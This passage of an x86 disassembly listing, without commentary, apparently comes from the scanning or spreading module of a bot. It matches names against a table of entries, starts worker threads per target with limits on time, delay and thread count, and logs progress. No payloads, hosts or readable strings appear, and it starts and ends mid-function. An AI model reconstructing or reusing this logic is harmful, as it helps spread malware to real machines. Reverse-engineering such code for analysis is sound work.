loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41F018
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, ds:byte_41DF00
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, ds:byte_41DF00
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3


loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1


loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2


loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3


loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2


loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al


loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CF28
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CEF0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	ds:dword_41709C	; Sleep


loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0


loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41F018
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CEDC
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax


loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CE98
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, ds:byte_41CD80[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CF54
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41D000
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax


loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	ds:off_41CDAE[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3


loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1


loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2


loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3


loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2


loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al


loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CFD0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CF8C
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
